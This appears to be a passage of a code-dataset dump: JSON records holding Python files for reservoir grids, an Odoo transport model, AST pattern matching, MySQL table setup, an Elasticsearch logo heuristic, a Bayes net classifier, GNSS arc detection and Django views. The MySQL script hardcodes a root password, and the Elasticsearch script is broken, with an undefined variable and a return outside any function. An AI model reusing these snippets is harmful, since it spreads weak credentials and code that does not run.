None\n\n notes:\n the function can be used to find the volume of a single cell, or all cells;\n grid's coordinate reference system must use same units in z as xy (projected);\n units of result are implicitly determined by coordinates in grid's coordinate reference system;\n the method currently assumes that the primary i, j, k axes are mutually orthogonal\n \"\"\"\n\n vol = np.product(vec.naive_lengths(self.block_dxyz_dkji))\n if cell_kji0 is not None: return vol\n return np.full((self.nk, self.nj, self.ni), vol)\n\n\n def thickness(self, cell_kji0 = None, **kwargs):\n \"\"\"Returns cell thickness (K axial length) for a single cell or full array.\n\n arguments:\n cell_kji0 (triple int, optional): if present, the thickness for a single cell is returned;\n if None, an array is returned\n all other arguments ignored; present for compatibility with same method in Grid()\n\n returns:\n float, or numpy float array filled with a constant\n \"\"\"\n\n thick = self.axial_lengths_kji()[0]\n if cell_kji0 is not None: return thick\n return np.full((self.nk, self.nj, self.ni), thick, dtype = float)\n\n\n def pinched_out(self, cell_kji0 = None, **kwargs):\n \"\"\"Returns pinched out boolean (always False) for a single cell or full array.\n\n arguments:\n cell_kji0 (triple int, optional): if present, the pinched out flag for a single cell is returned;\n if None, an array is returned\n all other arguments ignored; present for compatibility with same method in Grid()\n\n returns:\n False, or numpy array filled with False\n \"\"\"\n\n if cell_kji0 is not None: return False\n return np.full((self.nk, self.nj, self.ni), False, dtype = bool)\n\n\n def actual_pillar_shape(self, patch_metadata = False, tolerance = 0.001):\n \"\"\"Returns actual shape of pillars.\n\n arguments:\n patch_metadata (boolean, default False): if True, the actual shape replaces whatever was in the metadata\n tolerance (float, ignored)\n\n returns:\n string: 'vertical', 'straight' or 'curved'\n\n note:\n setting patch_metadata True will affect the attribute in this Grid object; however, it will not be\n preserved unless the create_xml() method is called, followed at some point with model.store_epc()\n \"\"\"\n\n if np.all(self.block_dxyz_dkji[0, :2] == 0.0): return 'vertical'\n return 'straight'\n\n\n def create_xml(self, ext_uuid = None, add_as_part = True, add_relationships = True, set_as_grid_root = True,\n root = None, title = None, originator = None, write_active = True, write_geometry = False,\n extra_metadata = {}, add_cell_length_properties = True):\n \"\"\"Creates xml for this RegularGrid object; by default the explicit geometry is not included.\n\n see docstring for Grid.create_xml()\n\n additional argument:\n add_cell_length_properties (boolean, default True): if True, 3 constant property arrays with cells as\n indexable element are created to hold the lengths of the primary axes of the cells; the xml is\n created for the properties and they are added to the model (no hdf5 write needed)\n\n :meta common:\n \"\"\"\n\n node = super().create_xml(ext_uuid = ext_uuid, add_as_part = add_as_part,\n add_relationships = add_relationships, set_as_grid_root = set_as_grid_root,\n title = title, originator = originator,\n write_active = write_active, write_geometry = write_geometry,\n extra_metadata = extra_metadata)\n\n if add_cell_length_properties:\n axes_lengths_kji = self.axial_lengths_kji()\n dpc = rprop.GridPropertyCollection()\n dpc.set_grid(self)\n for axis in range(3):\n dpc.add_cached_array_to_imported_list(None, 'regular grid', 'D' + 'ZYX'[axis],\n discrete = False, uom = self.xy_units(),\n property_kind = 'cell length',\n facet_type = 'direction', facet = 'KJI'[axis],\n indexable_element = 'cells', count = 1,\n const_value = axes_lengths_kji[axis])\n dpc.create_xml_for_imported_list_and_add_parts_to_model()\n if self.property_collection is None: self.property_collection = dpc\n else:\n if self.property_collection.support is None: self.property_collection.set_support(support = self)\n self.property_collection.inherit_parts_from_other_collection(dpc)\n\n return node\n\n\n\ndef establish_zone_property_kind(model):\n \"\"\"Returns zone local property kind object, creating the xml and adding as part if not found in model.\"\"\"\n\n zone_pk_root = model.root(obj_type = 'LocalPropertyKind', title = 'zone')\n if zone_pk_root is None:\n zone_pk = rprop.PropertyKind(model, title = 'zone', parent_property_kind = 'discrete')\n zone_pk.create_xml()\n else:\n zone_pk = rprop.PropertyKind(model, root_node = zone_pk_root)\n return zone_pk\n\n\n\ndef extent_kji_from_root(root_node):\n \"\"\"Returns kji extent as stored in xml.\"\"\"\n\n return (rqet.find_tag_int(root_node, 'Nk'), rqet.find_tag_int(root_node, 'Nj'), rqet.find_tag_int(root_node, 'Ni'))\n\n\n\ndef grid_flavour(grid_root):\n \"\"\"Returns a string indicating type of grid geometry, currently 'IjkGrid' or 'IjkBlockGrid'.\"\"\"\n\n if grid_root is None: return None\n em = rqet.load_metadata_from_xml(grid_root)\n flavour = em.get('grid_flavour')\n if flavour is None: flavour = 'IjkGrid'\n return flavour\n\n\n\ndef is_regular_grid(grid_root):\n \"\"\"Returns True if the xml root node is for a RegularGrid.\"\"\"\n\n return grid_flavour(grid_root) == 'IjkBlockGrid'\n\n\n\ndef any_grid(parent_model, grid_root = None, uuid = None, find_properties = True):\n \"\"\"Returns a Grid or RegularGrid object depending on the extra metadata in the xml.\"\"\"\n\n if uuid is None and grid_root is not None: uuid = rqet.uuid_for_part_root(grid_root)\n flavour = grid_flavour(parent_model.root_for_uuid(uuid))\n if flavour is None: return None\n if flavour == 'IjkGrid':\n return Grid(parent_model, uuid = uuid, find_properties = find_properties)\n if flavour == 'IjkBlockGrid':\n return RegularGrid(parent_model, extent_kji = None, uuid = uuid, find_properties = find_properties)\n return None\n","sub_path":"resqpy/grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":278956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"96245415","text":"# -*- coding: utf-8 -*-\n# Copyright 2018 Jarvis (www.odoomod.com)\n\nfrom odoo import api, models, fields\nfrom odoo.tools import safe_eval\n\n\nclass StockPicking(models.Model):\n _inherit = 'stock.picking'\n\n name = fields.Char('Name')\n\n transport_count = fields.Integer(compute=\"_compute_transport\", string='# Transports', copy=False, default=0)\n transport_done_count = fields.Integer(compute=\"_compute_transport\", string='# Done Transports', copy=False, default=0)\n transport_ids = fields.Many2many('transport.move', compute='_compute_transport', string='Transports', copy=False)\n\n @api.multi\n def action_view_transport(self):\n self.ensure_one()\n action = self.env.ref('mk_transport.action_transport_view').read()[0]\n res = self.transport_ids\n action['domain'] = [('id', 'in', res.ids)]\n action_context = safe_eval(action['context']) if action['context'] else {}\n action_context.update({\n #'default_location_id': self.location_id.id,\n #'default_location_dest_id': self.location_dest_id.id,\n 'default_picking_id': self.id,\n })\n if self.picking_type_code == 'incoming':\n action_context['default_partner_id'] = self.partner_id.id\n action_context['default_partner_dest_id'] = self.company_id.partner_id.id\n elif self.picking_type_code == 'outgoing':\n action_context['default_partner_id'] = self.company_id.partner_id.id\n action_context['default_partner_dest_id'] = self.partner_id.id\n action['context'] = action_context\n return action\n\n @api.multi\n @api.depends('transport_ids.state')\n def _compute_transport(self):\n for r in self:\n transport_ids = []\n data = self.env['transport.move.product'].search([('picking_id', 'in', self.ids)]).read(['transport_id'])\n transport_ids += [item['transport_id'][0] for item in data]\n data = self.env['transport.move.package'].search([('picking_id', 'in', self.ids)]).read(['transport_id'])\n transport_ids += [item['transport_id'][0] for item in data]\n transport_ids = list(set(transport_ids))\n r.transport_ids = self.env['transport.move'].browse(transport_ids)\n for transport_id in r.transport_ids:\n if transport_id.state != 'cancel':\n r.transport_count += 1\n if transport_id.state == 'done':\n r.transport_done_count += 1\n\n\n","sub_path":"addons/mk_addons/mk_transport/models/stock_picking.py","file_name":"stock_picking.py","file_ext":"py","file_size_in_byte":2500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"348563170","text":"from .ast_compat import ast\nfrom .syntax_rule import *\n\n\n\ndef compare(v1, op, v2):\n return ast.Compare(v1, [op], [v2])\n\n\ndef if_else(exp, br1, br2):\n return ast.If(exp, body=br1, orelse=br2)\n\ndef if_not_else(exp, br1, br2):\n cond = ast.UnaryOp(op=ast.Not(), operand=exp)\n return if_else(cond, br1, br2)\n\ndef assign_name(name, val):\n return ast.Assign([ast.Name(name, ctx=ast.Store())], val)\n\n\ndef raise_not_match(_):\n \"\"\"\n # TODO: more human-friendly error reporting\n \"\"\"\n return ast.Raise(exc=ast.Name(id=\"MatchError\", ctx=ast.Load()), cause=None)\n\n\nclass CaseCompilation(ast.NodeVisitor):\n \"\"\"\n Using the '__match__' protocol:\n https://mail.python.org/pipermail/python-ideas/2015-April/032920.html\n\n with match(expr):\n if case[C(a, b)]: do_some1\n if case[_]: do_some2\n =>\n .r0 = expr\n try:\n .r1 = C.__match__(.r0, 2)\n (.r2.a, .r3.b) = .r1\n a = .r2.a\n b = .r3.b\n do_some # with a and b\n except MatchError:\n try:\n r = .r0\n except:\n raise MatchError\n ...\n \"\"\"\n def __init__(self, name_of_val_to_match, captures, block, pat):\n \"\"\"\n :param captures: a dict maps mangling names to local names\n \"\"\"\n self.name_of_val_to_match = name_of_val_to_match\n self.block = block # type: list\n self.pointer = None\n self.pat = pat\n self.captures = captures\n\n @property\n def val_to_match(self):\n return ast.Name(self.name_of_val_to_match, ctx=ast.Load())\n\n def visit_Num(self, v):\n self.visit_value(v.n)\n\n def visit_Str(self, v):\n self.visit_value(v.s)\n\n def visit_Name(self, v):\n self.captures[self.name_of_val_to_match] = v.id\n\n def visit_NameConstant(self, v):\n self.visit_value(v.value)\n\n def visit_Constant(self, c):\n self.visit_value(c.value)\n\n def visit_value(self, i):\n cond = compare(self.val_to_match, ast.NotEq(), ast.Constant(i))\n raise_ = raise_not_match(i)\n self.block.append(if_else(cond, [raise_], []))\n\n def visit_List(self, tp):\n ids = [self.pat.next_id for _ in tp.elts]\n lhs_elts = []\n cases = []\n has_star = False\n for id_, elt in zip(ids, tp.elts):\n if isinstance(elt, ast.Starred):\n star = ast.Starred(value=ast.Name(id_, ctx=ast.Store()),\n ctx=ast.Store())\n lhs_elts.append(star)\n cases.append(elt.value)\n has_star = True\n else:\n lhs_elts.append(ast.Name(id_, ctx=ast.Store()))\n cases.append(elt)\n len_of_val = ast.Call(\n func = ast.Name(\"len\", ctx=ast.Load()),\n args = [self.val_to_match],\n keywords = []\n )\n\n check_len = compare(len_of_val, ast.GtE() if has_star else ast.Eq(), ast.Constant(len(cases)))\n check_type = ast.Call(\n func = ast.Name(\"isinstance\", ctx=ast.Load()),\n args=[self.val_to_match, ast.Name(\"list\", ctx=ast.Load())],\n keywords=[])\n check = ast.BoolOp(op=ast.And(), values=[check_type, check_len])\n self.block.append(if_not_else(check, [raise_not_match(tp)], []))\n lhs = ast.List(lhs_elts, ctx=ast.Store())\n\n self.block.append(ast.Assign([lhs], self.val_to_match))\n\n for id_, case in zip(ids, cases):\n CaseCompilation(id_, self.captures, self.block, self.pat).visit(case)\n\n\n def visit_Tuple(self, tp):\n ids = [self.pat.next_id for _ in tp.elts]\n lhs_elts = []\n cases = []\n has_star = False\n for id_, elt in zip(ids, tp.elts):\n if isinstance(elt, ast.Starred):\n star = ast.Starred(value=ast.Name(id_, ctx=ast.Store()),\n ctx=ast.Store())\n lhs_elts.append(star)\n cases.append(elt.value)\n has_star = True\n else:\n lhs_elts.append(ast.Name(id_, ctx=ast.Store()))\n cases.append(elt)\n len_of_val = ast.Call(\n func = ast.Name(\"len\", ctx=ast.Load()),\n args = [self.val_to_match],\n keywords = []\n )\n\n check_len = compare(len_of_val, ast.GtE() if has_star else ast.Eq(), ast.Constant(len(cases)))\n check_type = ast.Call(\n func = ast.Name(\"isinstance\", ctx=ast.Load()),\n args=[self.val_to_match, ast.Name(\"tuple\", ctx=ast.Load())],\n keywords=[])\n check = ast.BoolOp(op=ast.And(), values=[check_type, check_len])\n self.block.append(if_not_else(check, [raise_not_match(tp)], []))\n lhs = ast.Tuple(lhs_elts, ctx=ast.Store())\n self.block.append(ast.Assign([lhs], self.val_to_match))\n\n for id_, case in zip(ids, cases):\n CaseCompilation(id_, self.captures, self.block, self.pat).visit(case)\n\n def visit_Call(self, call):\n \"\"\"\n for constructors/recognizers\n \"\"\"\n match = ast.Attribute(call.func, \"__match__\", ctx=ast.Load())\n matched = ast.Call(match, [self.val_to_match, ast.Constant(len(call.args))], keywords=[])\n ids = [self.pat.next_id for _ in call.args]\n lhs = ast.Tuple([ast.Name(id, ctx=ast.Store()) for id in ids], ctx=ast.Store())\n deconstruct = ast.Assign([lhs], matched, ctx=ast.Store())\n\n self.block.append(deconstruct)\n for id_, arg in zip(ids, call.args):\n CaseCompilation(id_, self.captures, self.block, self.pat).visit(arg)\n\nclass PatternMatching(ast.NodeTransformer):\n\n def __init__(self):\n def id_gen():\n i = 0\n while True:\n yield \"PM%d.%d\" % (id(self), i)\n i += 1\n self.local_id_generator = id_gen()\n\n @property\n def next_id(self):\n return next(self.local_id_generator)\n\n def visit_With(self, node):\n # check if is the form:\n # ```\n # with match(_)\n # ```\n\n if not len(node.items):\n return self.generic_visit(node)\n\n item = node.items[0].context_expr\n if not isinstance(item, ast.Call):\n return self.generic_visit(node)\n\n fn = item.func\n if not isinstance(fn, ast.Name) or fn.id != \"match\":\n return self.generic_visit(node)\n\n # check if is `match(val)`\n assert not item.keywords and len(item.args) == 1\n # check if all stmts in the with block are in the form\n # `if case[]: stmts`\n #\n # Q: Why not `if `?\n # A: `if 0` will be removed after decompilation.\n\n assert all(isinstance(stmt, ast.If) for stmt in node.body)\n\n val_to_match = item.args[0]\n name_of_val_to_match = self.next_id\n\n ifs = node.body # type: List[ast.If]\n def make_try_stmt(if_matched_br_, not_matched_br_):\n return ast.Try(\n body=if_matched_br_,\n handlers = [\n ast.ExceptHandler(\n type=ast.Name(\"MatchError\", ctx=ast.Load()),\n name=None,\n body=not_matched_br_\n ),\n ],\n orelse=[],\n finalbody=[]\n )\n blocks = []\n\n for if_ in ifs:\n assert not if_.orelse\n case = if_.test\n\n assert isinstance(case, ast.Subscript)\n assert isinstance(case.value, ast.Name) and case.value.id == \"case\"\n assert isinstance(case.slice, ast.Index)\n case = case.slice.value\n captures = {}\n block = []\n\n case_compilation = CaseCompilation(name_of_val_to_match, captures, block, self)\n case_compilation.visit(case)\n for actual_name, local_bind_name in captures.items():\n block.append(assign_name(local_bind_name, ast.Name(actual_name, ctx=ast.Load())))\n block.extend(if_.body)\n blocks.append(block)\n blocks.reverse()\n\n # reduce\n last = [raise_not_match(None)]\n for each in blocks:\n last = [make_try_stmt(each, last)]\n\n return [assign_name(name_of_val_to_match, val_to_match), last[0]]\n\n\ndef pattern_matching(node):\n return PatternMatching().visit(node)","sub_path":"moshmosh/pattern_matching.py","file_name":"pattern_matching.py","file_ext":"py","file_size_in_byte":8478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"330698996","text":"import pymysql\n\n# 打开数据库连接\ndb = pymysql.connect(\"127.0.0.1\", \"root\", \"123456\", \"wangyuyan\", charset='utf8')\n\n# 使用 cursor() 方法创建一个游标对象 cursor\ncursor = db.cursor()\n\n# 关闭数据库连接\nsql1 = \"\"\"CREATE TABLE dianying (\n NAME CHAR(40) NOT NULL,\n redu CHAR(20)\n\n )\"\"\"\n\nsql2 = \"\"\"CREATE TABLE dianshiju (\n NAME CHAR(40) NOT NULL,\n redu CHAR(20)\n\n )\"\"\"\n\nsql3 = \"\"\"CREATE TABLE zongyi (\n NAME CHAR(40) NOT NULL,\n redu CHAR(20)\n\n )\"\"\"\n\ncursor.execute(sql1)\ncursor.execute(sql2)\ncursor.execute(sql3)\n\n\ndb.close()","sub_path":"xiaoyu/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"177511627","text":"import base64\nfrom elasticsearch import Elasticsearch\n\nfrom PIL import Image\nfrom io import BytesIO\nimport numpy as np\nimport cv2\n\nindex_name = \"data-index\"\nes = Elasticsearch([{'host': 'localhost'}, ])\n\nq = {\n \"query\": {\n \"bool\": {\n \"must\": [\n {\n \"wildcard\": {\n \"item.content-type\": \"image/*\"\n }\n },\n {\n \"term\": {\"item.status\": \"0\"}\n },\n {\n \"range\": {\n \"item.date_archived\": {\"from\": \"1997-01-01T00:00:00\", \"to\": \"2000-12-31T23:59:59\"}\n }\n }\n ],\n \"must_not\": [],\n \"should\": []\n }\n },\n \"from\": 0,\n \"size\": 50,\n \"sort\": [{\"item.date_archived\": {\"order\": \"asc\"}}]\n}\n\nres = es.search(index=index_name, doc_type='item', body=q, request_timeout=30)\n\nlogos = []\npictures = []\n\nfor hit in res['hits']['hits']:\n try:\n if percent is not None:\n if hit['_source']['content-type'] == 'image/gif':\n gif = Image.open(BytesIO(base64.b64decode(hit['_source']['content'])))\n gif = gif.convert('RGB')\n img = np.array(gif)\n img = img[:, :, ::-1].copy()\n else:\n arr = np.asarray(bytearray(base64.b64decode(hit['_source']['content'])), dtype=np.uint8)\n img = cv2.imdecode(arr, -1)\n\n hist = cv2.calcHist([img], [0, 1, 2], None, [256, 256, 256], [0, 256, 0, 256, 0, 256])\n hist = hist.flatten()\n image_size = img.shape[0] * img.shape[1]\n # The assumption that logo has at least one color that cover 10% of the image size\n items = np.where(hist > (image_size * 0.1))\n\n if len(items[0]) > 0:\n logos.append(hit['_id'])\n else:\n pictures.append(hit['_id'])\n except Exception as e:\n pass\n\nreturn logos, pictures\n","sub_path":"HeuristicSeparationPicturesAndLogos.py","file_name":"HeuristicSeparationPicturesAndLogos.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"86022802","text":"from parse_json import parse_json\nimport sys\nimport json\nimport numpy as np\nimport pandas as pd\nimport itertools\nimport math\n\nclass BayesNet(object):\n \"\"\"\n Bayesian Classifier that is compatible with running Naive Bayes and Tree Augmented Network structures.\n\n Assumptions:\n - Solves binary classification problem\n - All attributes are discrete valued.\n - Laplace estimates are used for probabilities (pseudocounts of 1).\n - Class (desired prediction) is last attribute in metadata and is named \"class\"\n \n Parameters\n ----------\n net_type : string in \"n\",\"t\"\n \"n\" determines Naive Bayes classifier, \"t\" determines TAN classifier\n\n Attributes\n ----------\n metadata : json object\n\n X_train : array, shape = [n_instance, n_features]\n\n y_train : array-like, shape (n_instances,)\n\n features_ : list, shape (n_features+1)\n Contains names of all features from metadata (including class as final feature)\n graph_structure_ : array, shape = [n_features + 1,n_features + 1]\n Hold the structure of the graph. A 1 in the [i,j]th entry denotes an arrow from feature i to feature j (includes class as feature).\n \"\"\"\n\n def __init__(self, net_type):\n self.net_type = net_type\n \n def Laplace_estimate(self, data, features, given=None, name=\"prob\"):\n \"\"\" \n Returns Laplace estimates (pseudocounts of 1) for probabilities P(features|given) based on data \n probabilities are given by the \"prob\" column, with other columns being features and given\n \"\"\"\n if given==None:\n df = data.groupby(features).size()+1.0\n levels = [self.feature_levels[f] for f in features]\n mux = pd.MultiIndex.from_product(levels, names=features)\n df = df.reindex(mux, fill_value=1.0).reset_index(name=\"pcount\")\n df[\"prob\"] = df[\"pcount\"] / df[\"pcount\"].sum()\n else: \n all_ = list(np.append(features,given))\n df = data.groupby(all_).size()+1.0\n levels = [self.feature_levels[f] for f in all_]\n mux = pd.MultiIndex.from_product(levels, names=all_)\n df = df.reindex(mux, fill_value=1.0).reset_index(name=\"pcount\")\n df[\"prob\"] = df[\"pcount\"] / df.groupby(given)[\"pcount\"].transform(\"sum\")\n \n df = df.drop(\"pcount\", axis=1)\n df.rename(columns={'prob': name}, inplace=True)\n return df\n\n \n def conditional_mutual_information(self, X, y):\n \"\"\" \n Return a matrix of conditional mutual information \n I(X_i,X_j|Y) = Sum_{x_i} Sum_{x_j} Sum_{y} P(x_i, x_j, y) log_2( P(x_i,x_j|y) / ( P(x_i|y) P(x_j|y) ) )\n \"\"\"\n data = pd.concat([X, y], axis=1)\n y_ind = [data.columns[-1]]\n \n information = {}\n for features in itertools.combinations(X.columns, 2):\n all_ = list(np.append(features,y_ind))\n \n p_xxy = self.Laplace_estimate(data, all_, name=\"prob_xxy\") # P(x_i, x_j, y) \n p_xx_y = self.Laplace_estimate(data, features, given=y_ind, name=\"prob_xx_y\") # P(x_i, x_j | y)\n p_xi_y = self.Laplace_estimate(data, features[0], given=y_ind, name=\"prob_xi_y\") # P(x_i | y) \n p_xj_y = self.Laplace_estimate(data, features[1], given=y_ind, name=\"prob_xj_y\") # P(x_j | y)\n\n # create merged dataframes for vectorized calculation of CMI\n df_merged = pd.merge(p_xxy, p_xx_y, how=\"outer\", on=all_)\n join = list(np.append(features[0],y_ind))\n df_merged = pd.merge(df_merged, p_xi_y, how=\"outer\", on=join)\n join = list(np.append(features[1],y_ind))\n df_merged = pd.merge(df_merged, p_xj_y, how=\"outer\", on=join)\n \n # calculate mutual information \n df_merged[\"Ixxy\"] = df_merged[\"prob_xxy\"] * (df_merged[\"prob_xx_y\"]/(df_merged[\"prob_xi_y\"]*df_merged[\"prob_xj_y\"])).apply(lambda x: math.log2(x))\n information[features] = df_merged[\"Ixxy\"].sum()\n\n return information\n\n def make_graph(self):\n \n if self.net_type == \"n\": # Naive Bayes\n # start with dictionary of feature with empty parent edges\n parent_edges = {feature : [] for feature in self.features_[:-1]}\n \n elif self.net_type == \"t\": # TAN\n # Conditional mutual information as dictionary\n cond_information = self.conditional_mutual_information(self.X_train, self.y_train)\n \n # Prim's algorithm with CMI as weights\n V = set(self.features_[:-1]) # all features except the class\n E = set(cond_information.keys())\n V_new = {self.features_[0]}\n E_new = set()\n \n while V_new != V:\n # find edges emanating from a vertex in V_new to a vertex not in V_new with max weight\n max_weight = max([cond_information[e] for e in E if (e[1] in V_new) ^ (e[0] in V_new)]) # ^ is exclusive or\n edge_to_add = [e for e in E if cond_information[e]==max_weight][0] #TODO: make sure this handles ties appropriately\n \n E_new.add(edge_to_add)\n for v in edge_to_add: V_new.add(v)\n \n # Add nodes based on MST\n def find_children(root, edge_set):\n children = set()\n for e in edge_set:\n if root in e:\n children = children.union(set(e))\n children.remove(root)\n return list(children)\n\n def find_all_children(grandparent, parent, edge_set):\n \"\"\" recursive function to get all children based on edges and an initial root\"\"\"\n parent_dict = {parent: find_children(parent, edge_set)}\n if grandparent: parent_dict[parent].remove(grandparent)\n \n child_dict = {}\n for child in parent_dict[parent]:\n child_dict = {**child_dict, **find_all_children(parent, child, edge_set)}\n\n return {**parent_dict, **child_dict}\n \n root = self.features_[0]\n child_edges = find_all_children(None, root, E_new)\n parent_edges = {feature : [x for x in child_edges if feature in child_edges[x]] for feature in child_edges.keys()}\n \n \n # add class as a parent for all X features\n for i in parent_edges: parent_edges[i].append(\"class\")\n self.graph_structure_ = parent_edges\n\n\n def compute_posterior(self, X):\n p_xy = np.zeros((len(X),2))\n \n for i,c in enumerate(self.classes_):\n data = X\n data[\"class\"] = c \n p_x_y = np.ones(len(X))\n \n for f in self.features_[:-1]:\n parents = self.graph_structure_[f]\n parents_x = list(np.append(parents, f))\n table = self.Px_cond[f]\n\n d1 = data.loc[:,parents_x]\n d2 = table.loc[:,parents_x]\n index = d1.apply(lambda x: x==d2, axis=1).apply(lambda x: x.min(axis=1))\n p_x_y = p_x_y*[float(table.loc[index.ix[i],\"prob\"]) for i in range(len(index))]\n\n p_xy[:,i] = self.Py[i]*p_x_y\n\n return np.apply_along_axis(lambda x: x/sum(x), 1, p_xy) \n \n\n def print_graph(self):\n \"\"\" Print graph structure for program output \"\"\"\n for f in self.features_[:-1]:\n print(f, end=\" \")\n for j in self.graph_structure_[f]: print(j, end=\" \")\n print(\"\") \n print(\"\")\n\n\n def print_predictions(self, y_pred, y_true, probs):\n \"\"\" Print predicted class, actual class, and probability for program output \"\"\"\n for i in range(len(y_pred)):\n print(\"{0} {1} {2:.12f}\".format(y_pred[i], y_true.ix[i,:], probs[i]))\n print(\"\")\n\n\n def fit(self, X, y, metadata):\n \"\"\"Fit Naive Bayes or TAN. Store training data and other useful information, find a probabilistic graph structure via Naive Bayes or TAN, and compute conditional probability tables from that graph. \n\n Parameters\n ----------\n X : array, shape = [n_instances, n_features]\n Training vectors, where n_samples is the number of samples\n and n_features is the number of features.\n y : array-like, shape (n_instances,)\n Target values.\n metadata : json object\n Contains information about columns in the training data\n \"\"\"\n self.metadata = metadata\n self.features_ = [i[0] for i in self.metadata[\"features\"]]\n self.feature_levels = {i[0]:i[1] for i in self.metadata[\"features\"]}\n self.X_train = X\n self.n_instances, self.n_features = self.X_train.shape\n self.y_train = y\n self.data = pd.concat([self.X_train, self.y_train], axis=1)\n self.classes_ = self.metadata[\"features\"][-1][1]\n \n self.make_graph()\n \n # calculate CPT for P(y) and P(X|parents(X))\n self.Py = [(np.sum(self.y_train == c)+1)/(self.n_instances+2) for c in self.classes_] \n\n self.Px_cond = {}\n for f in self.features_[:-1]:\n parents = self.graph_structure_[f]\n self.Px_cond[f] = self.Laplace_estimate(self.data, [f], given=parents)\n \n\n def predict(self, X, y, verbose=True, confidence=False):\n \"\"\"\n Using the BayesNet that has been fitted, compute posterior probabilities P(Y=y|x) and predict a class by the maximum posterior \n\n Parameters\n ----------\n X : array, shape = [n_instances, n_features]\n Testing vectors, where n_samples is the number of samples\n and n_features is the number of features.\n y : array-like, shape (n_instances,)\n Target values. Only used for printing the true values.\n metadata : json object\n Contains information about columns in the training data\n \"\"\"\n posterior = self.compute_posterior(X)\n y_pred = [self.classes_[i] for i in np.argmax(posterior, axis=1)]\n probs = np.max(posterior, axis=1)\n \n if verbose:\n self.print_graph()\n self.print_predictions(y_pred, y, probs)\n print(np.equal(y_pred, y).sum())\n print(\"\")\n\n if confidence:\n return posterior[:,0]\n else:\n return y_pred\n\n\n\nif __name__ == \"__main__\":\n\n if len(sys.argv) == 1:\n train = \"datasets/lymphography_train.json\"\n test = \"datasets/lymphography_test.json\"\n net_type = \"n\" \n else:\n train = str(sys.argv[1])\n test = str(sys.argv[2])\n net_type = str(sys.argv[3])\n\n # parse the json file for data\n X_train, y_train, meta_train = parse_json(train)\n X_test, y_test, meta_test = parse_json(test)\n \n bn = BayesNet(net_type)\n\n bn.fit(X_train, y_train, meta_train)\n bn.predict(X_test, y_test, verbose=True)\n","sub_path":"bayes-network/bayes.py","file_name":"bayes.py","file_ext":"py","file_size_in_byte":10982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"608550331","text":"import numpy as np\nimport datetime\nimport calculations.common as common\n\nnumber_of_samples = 10\ncycle_slip_threshold = 0.05\ngap_threshold = 60 # 60 secs\nlength_threshold = 15 * 60 # 15 minut\n\n\ndef gap_detector(epochs, out=None):\n\n if out == None:\n out = []\n arc_beg = epochs[0]\n for i in range(len(epochs) - 1):\n if epochs[i + 1] - epochs[i] > gap_threshold:\n out.append((arc_beg, epochs[i]))\n gap_detector(epochs[i + 1 :], out)\n break\n elif i == len(epochs) - 2:\n out.append((arc_beg, epochs[i + 1]))\n break\n return out\n\n\ndef cycle_slip_detector(epochs, values, out=None):\n\n if out == None:\n out = []\n for i in range(1, len(epochs) - number_of_samples):\n end_i = i + number_of_samples\n current_epoch = epochs[end_i]\n poly = np.polyfit(epochs[i:end_i], values[i:end_i], deg=2)\n calculated_value = np.polyval(poly, current_epoch)\n if abs(values[end_i] - calculated_value) > cycle_slip_threshold:\n out.append(current_epoch)\n try:\n out.append(epochs[end_i + 1])\n except IndexError:\n out.append(epochs[end_i])\n\n cycle_slip_detector(epochs[end_i + 1 :], values[end_i + 1 :], out)\n break\n return out\n\n\ndef length_detector(arcs):\n return [arc for arc in arcs if arc[1] - arc[0] > length_threshold]\n\n\ndef arc_detector(L4, MWWL):\n arcs = []\n values = []\n out = []\n epochs = sorted(L4.keys())\n for epoch in epochs:\n values.append(L4[epoch])\n epochs_secs = [common.datetime_to_secs_of_day(x) for x in epochs]\n\n # Podziel ze względu na luki w danych\n gap_arcs = gap_detector(epochs_secs)\n # Podziel ze względy na cycle slip\n for gap_arc in gap_arcs:\n new_arcs = []\n new_arcs.append(gap_arc[0])\n new_arcs.append(gap_arc[1])\n arc_beg_i = epochs_secs.index(gap_arc[0])\n arc_end_i = epochs_secs.index(gap_arc[1])\n cycle_slips = cycle_slip_detector(\n epochs_secs[arc_beg_i:arc_end_i], values[arc_beg_i:arc_end_i]\n )\n new_arcs += cycle_slips\n new_arcs.sort()\n new_arcs = [(new_arcs[i], new_arcs[i + 1]) for i in range(len(new_arcs) - 1)]\n arcs += new_arcs\n # Sprawdz długość łuków\n arcs = length_detector(arcs)\n\n # Zmian sekundy tygodnia na datetime\n current_day = datetime.datetime(\n year=epochs[0].year, month=epochs[0].month, day=epochs[0].day\n )\n for arc in arcs:\n arc_beg = arc[0]\n arc_end = arc[1]\n new_arc = (\n current_day + datetime.timedelta(seconds=arc_beg),\n current_day + datetime.timedelta(seconds=arc_end),\n )\n out.append(new_arc)\n return out\n","sub_path":"ion_map/calculations/arc_detection.py","file_name":"arc_detection.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"622923735","text":"from django.shortcuts import render, render_to_response\nfrom django.views.generic import TemplateView, View, ListView\nfrom django.views.generic.edit import FormView, DeleteView\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import get_object_or_404, render, redirect\n\nfrom django.core.urlresolvers import reverse\n\nfrom forms import *\n# Create your views here.\n\n\n@login_required\ndef portal_main_page(request):\n\ttemplate_name = \"index.html\"\n\treturn render_to_response('admin_panel.html')\n\nclass SuccessView(TemplateView):\n\ttemplate_name = \"success.html\"\n\nclass RegisterView(FormView):\n\ttemplate_name = 'parent/registration.html'\n\tform_class = RegisterForm\n\tmodel = User\n\t\n\tdef get(self, request, *args, **kwargs):\n\t\tprint(\"inside get--\")\n\t\tform_class = self.get_form_class()\n\t\tform = self.get_form(form_class)\n\t\tprofile_form = ParentForm()\n\t\treturn self.render_to_response(self.get_context_data(form = form, profile_form=profile_form))\n\n\tdef get_success_url(self,**kwargs):\n\t\tprint(\"work reverse 